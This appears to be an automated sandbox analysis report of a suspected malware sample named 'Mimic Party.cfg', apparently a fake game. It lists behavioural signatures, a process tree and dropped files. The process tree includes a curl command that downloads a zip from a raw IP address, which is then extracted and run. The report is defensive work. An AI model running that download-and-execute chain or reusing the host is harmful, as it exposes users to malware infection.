Analysis
- user interaction
yes - max time kernel
192s - max time network
154s - platform
windows11-21h2_x64 - resource
win11-20260911-en - resource tags
- submitted
20/10/2026, 17:07
General
- Target Mimic Party.cfg
- Size 28B
- Sample261020-vncyjsty4k
- SHA256 f31441466c1b87a424a7ce427004deb415c6656e22b8b3bd1904ca3539d58caa
Malware Config
Signatures
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 8 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies registry class 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Mimic Party.cfg"1⤵
- Executes a command shell one-liner
- Modifies registry class
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl http://51.222.11.233/mmp.zip --output a.zip3⤵
-
-
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\a\" -spe -an -ai#7zMap31586:60:7zEvent102911⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party.exe"C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\Mimic Party.exe"C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\Mimic Party.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\Mimic Party.exe"C:\Users\Admin\Desktop\a\Mimic.Party.Build.25319031\Mimic.Party.Build.25319031\Mimic Party\Mimic Party.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_0w1ijnyu.es0.ps1
Mimic Party.cfg
Mimic Party.exe
Mimic Party.exe
SteamOverlay64.dll
UnityPlayer.dll
dlllist.txt
dstorage.dll
winmm.dll
memory/1124-13-0x0000018307C20000-0x00000183086E2000-memory.dmp
memory/1124-27-0x0000018307C20000-0x00000183086E2000-memory.dmp
memory/1124-20-0x0000018307C20000-0x00000183086E2000-memory.dmp
memory/1124-17-0x0000018307C20000-0x00000183086E2000-memory.dmp
memory/1124-15-0x0000018307C20000-0x00000183086E2000-memory.dmp
memory/1124-14-0x0000018307C20000-0x00000183086E2000-memory.dmp
memory/1124-11-0x0000018307C20000-0x00000183086E2000-memory.dmp
memory/1124-10-0x0000018323050000-0x0000018323096000-memory.dmp
memory/1124-3-0x0000018320A90000-0x0000018320AB2000-memory.dmp